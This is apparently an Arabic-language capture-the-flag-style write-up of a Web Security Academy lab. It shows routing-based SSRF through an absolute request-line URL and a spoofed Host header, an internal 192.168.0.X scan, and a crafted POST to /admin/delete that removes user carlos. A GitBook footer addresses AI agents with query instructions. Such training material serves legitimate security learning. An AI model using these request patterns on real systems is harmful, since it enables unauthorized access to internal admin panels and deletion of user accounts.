> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/host-header/ssrf-via-incorrect-query-parsing.md).

# SSRF عبر تحليل غير صحيح لسلسلة الاستعلام

### SSRF عبر تحليل الطلبات بشكل معيب

هذا المعمل عرضةً لـ **SSRF قائم على التوجيه**. يسيء الخادم تفسير المضيف الذي تستهدفه الاستعلام فعليًا. الهدف هو الوصول إلى لوحة الإدارة الداخلية، ثم حذف المستخدم **carlos**.

### الملاحظة الأولية

عدّل مباشرةً الـ `Host` الترويسة لا تعمل. يظل الطلب محظورًا.

```http
Host: jord4n.pro
```

<figure><img src="/files/e7cdd50c19863465f43cf36b4ba2d9dea7cded6f" alt=""><figcaption></figcaption></figure>

### الالتفاف حول التحليل

النقطة الأساسية هنا هي تنسيق الطلب. عند استخدام **رابط URL**مطلق، تحاول التطبيقات حلّ المضيف المشار إليه في سطر الاستعلام. ثم تصبح الـ `Host` الترويسة ثانوية.

```html
GET https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/ HTTP/2
Host: test.com
```

يؤكد الجواب هذا السلوك. يحاول الخادم الوصول إلى `test.com`.

```html
<h1>
    خطأ الخادم: انتهت مهلة البوابة (3) أثناء الاتصال بـ test.com
</h1>
```

<figure><img src="/files/880b5b7da27edd7b920702d57565c196d87dcfde" alt=""><figcaption></figcaption></figure>

### اكتشاف المضيف الداخلي

يمكننا الآن مسح النطاق الداخلي `192.168.0.0/24` ، وأبسط طريقة هي استخدام **Intruder** على البايت الأخير.

```http
GET https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/ HTTP/2
Host: 192.168.0.X
```

الـ `192.168.0.92` يستجيب العنوان بـ `302` رمز. تشير هذه الاستجابة إلى وجود لوحة الإدارة.

<figure><img src="/files/18d5e088f82fdca65f49e437a1158d3ee7a6c19a" alt=""><figcaption></figcaption></figure>

### إزالة المستخدم

بعد تحديد المضيف الداخلي، نفتح `/admin`. ثم نسترجع رمز CSRF من الصفحة. ما عليك سوى إرسال طلب الحذف إلى المضيف الداخلي.

```http
POST https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/admin/delete HTTP/2
Host: 192.168.0.92

csrf=Rrh5bY7GRvuOjDW1nTUWrIjaqAdlTvtW&username=carlos
```

إزالة **carlos** تثبت نجاح المعمل.

<figure><img src="/files/54ee0c85b2ecef5601b581429d95b9dd1de6a87e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/host-header/ssrf-via-incorrect-query-parsing.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
